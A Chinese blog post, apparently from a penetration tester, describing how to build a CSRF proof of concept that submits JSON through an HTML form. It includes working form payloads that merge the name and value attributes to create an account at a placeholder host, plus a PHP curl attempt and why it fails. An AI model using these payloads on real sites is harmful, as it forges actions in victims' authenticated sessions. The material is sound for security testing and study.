前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CSRF漏洞中以form形式用POST方法提交json数据的POC

CSRF漏洞中以form形式用POST方法提交json数据的POC

作者头像
p4nda
发布2023-01-03 13:24:51
1.5K0
发布2023-01-03 13:24:51
举报
文章被收录于专栏:技术猫屋

目录

0x01 写在前面

今天遇到的,查了很多资料,发现这种形式的基本上没看到,圈子里某个师傅发了一个国外的链接,

参考了一下,最后成功构造poc。

0x02 POC

form提交post数据很简单,如下:

代码语言:javascript
复制
 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

但是这种方式存在缺陷,如下图:

01.png
01.png

始终有个“=”摆脱不了,但是用下面这种方式成功摆脱:

代码语言:javascript
复制
 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":"' value='"}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>
02.png
02.png

这里的技巧主要在于name和value的值共同构成了json格式的值,利用了双引号的闭合,学到了,以后有很多测试都可以用着这方式测试,所以记下来。

0x03 题外话

本来一开始利用form怎么都构造不成,后来放弃,然后使用php中的curl功能来写:

代码语言:javascript
复制
<?php
$data = array("attributes" => 
      array("name"=> "test2@test.com", 
          "userName" => "测试2",
          "password" => "e10adc3949ba59abbe56e057f20f883e",
          "role" => "user",
          "status" => "enabled",
          "phone" => ""
      ));                                                                      
$data_string = json_encode($data);       
$ch = curl_init('http://xxx.com/db/adds');        
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");                            
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array(                   
    'Content-Type: application/json',  
    'Content-Length: ' . strlen($data_string))           
);                                                                                                                     
$result = curl_exec($ch);  
echo $data_string;
?>
03.png
03.png

抓包处理的时候发现依旧不行,并没有执行CSRF。(并不存在referer和token的前提)

具体原因现在依旧不清楚,于是求租,然后有大师傅解释:

你如果用PHP写CSRF的POC是会失败的。CSRF本质是浏览器发出请求后会自带cookie. PHP是后端语言, 也就是请求不是浏览器发出去的。而后端服务器无法获取当前用户的cookie, 所以发出的POST请求没有cookie,CSRF就成功不了

但是发现有过phpCSRF的案例:PHPCMS后台CSRF加管理两种方法POC

所以有些懵逼。

然后又询问了一下大师傅,终于明白。

我上面的Php代码,POST请求是由php发出的,php代码运行后,返回一个数据页面给浏览器,然后浏览器在呈现给用户,此时由于是后端语言php发出的请求,后端服务器没法获得当前用户的cookie,所以没办法csrf。

而p牛的那个例子,POST请求是由js发出

04.png
04.png

也就是浏览器发出,所以可以获得当前用户的cookie。

不得不说,小技巧里面的知识可不小~还需努力啊

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-12-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • 0x01 写在前面
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档